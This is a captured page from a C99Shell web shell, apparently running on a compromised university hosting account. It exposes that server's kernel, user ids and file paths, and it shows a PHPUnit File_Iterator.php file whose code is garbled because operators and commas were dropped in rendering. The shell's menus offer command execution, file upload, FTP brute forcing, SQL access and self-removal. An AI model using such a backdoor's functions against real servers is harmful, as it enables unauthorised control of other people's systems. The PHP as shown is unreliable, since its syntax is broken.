!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/php-file-iterator/src/   drwxr-xr-x
Free 117.1 GB of 200.55 GB (58.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Iterator.php (3.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the File_Iterator package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * FilterIterator implementation that filters files based on prefix(es) and/or
 * suffix(es). Hidden files and files from hidden directories are also filtered.
 *
 * @since     Class available since Release 1.0.0
 */
class File_Iterator extends FilterIterator
{
    const 
PREFIX 0;
    const 
SUFFIX 1;

    
/**
     * @var array
     */
    
protected $suffixes = array();

    
/**
     * @var array
     */
    
protected $prefixes = array();

    
/**
     * @var array
     */
    
protected $exclude = array();

    
/**
     * @var string
     */
    
protected $basepath;

    
/**
     * @param Iterator $iterator
     * @param array    $suffixes
     * @param array    $prefixes
     * @param array    $exclude
     * @param string   $basepath
     */
    
public function __construct(Iterator $iterator, array $suffixes = array(), array $prefixes = array(), array $exclude = array(), $basepath NULL)
    {
        
$exclude array_filter(array_map('realpath'$exclude));

        if (
$basepath !== NULL) {
            
$basepath realpath($basepath);
        }

        if (
$basepath === FALSE) {
            
$basepath NULL;
        } else {
            foreach (
$exclude as &$_exclude) {
                
$_exclude str_replace($basepath''$_exclude);
            }
        }

        
$this->prefixes $prefixes;
        
$this->suffixes $suffixes;
        
$this->exclude  $exclude;
        
$this->basepath $basepath;

        
parent::__construct($iterator);
    }

    
/**
     * @return bool
     */
    
public function accept()
    {
        
$current  $this->getInnerIterator()->current();
        
$filename $current->getFilename();
        
$realpath $current->getRealPath();

        if (
$this->basepath !== NULL) {
            
$realpath str_replace($this->basepath''$realpath);
        }

        
// Filter files in hidden directories.
        
if (preg_match('=/\.[^/]*/='$realpath)) {
            return 
FALSE;
        }

        return 
$this->acceptPath($realpath) &&
               
$this->acceptPrefix($filename) &&
               
$this->acceptSuffix($filename);
    }

    
/**
     * @param  string $path
     * @return bool
     * @since  Method available since Release 1.1.0
     */
    
protected function acceptPath($path)
    {
        foreach (
$this->exclude as $exclude) {
            if (
strpos($path$exclude) === 0) {
                return 
FALSE;
            }
        }

        return 
TRUE;
    }

    
/**
     * @param  string $filename
     * @return bool
     * @since  Method available since Release 1.1.0
     */
    
protected function acceptPrefix($filename)
    {
        return 
$this->acceptSubString($filename$this->prefixesself::PREFIX);
    }

    
/**
     * @param  string $filename
     * @return bool
     * @since  Method available since Release 1.1.0
     */
    
protected function acceptSuffix($filename)
    {
        return 
$this->acceptSubString($filename$this->suffixesself::SUFFIX);
    }

    
/**
     * @param  string $filename
     * @param  array  $subString
     * @param  int    $type
     * @return bool
     * @since  Method available since Release 1.1.0
     */
    
protected function acceptSubString($filename, array $subStrings$type)
    {
        if (empty(
$subStrings)) {
            return 
TRUE;
        }

        
$matched FALSE;

        foreach (
$subStrings as $string) {
            if ((
$type == self::PREFIX && strpos($filename$string) === 0) ||
                (
$type == self::SUFFIX &&
                 
substr($filename, -strlen($string)) == $string)) {
                
$matched TRUE;
                break;
            }
        }

        return 
$matched;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.015 ]--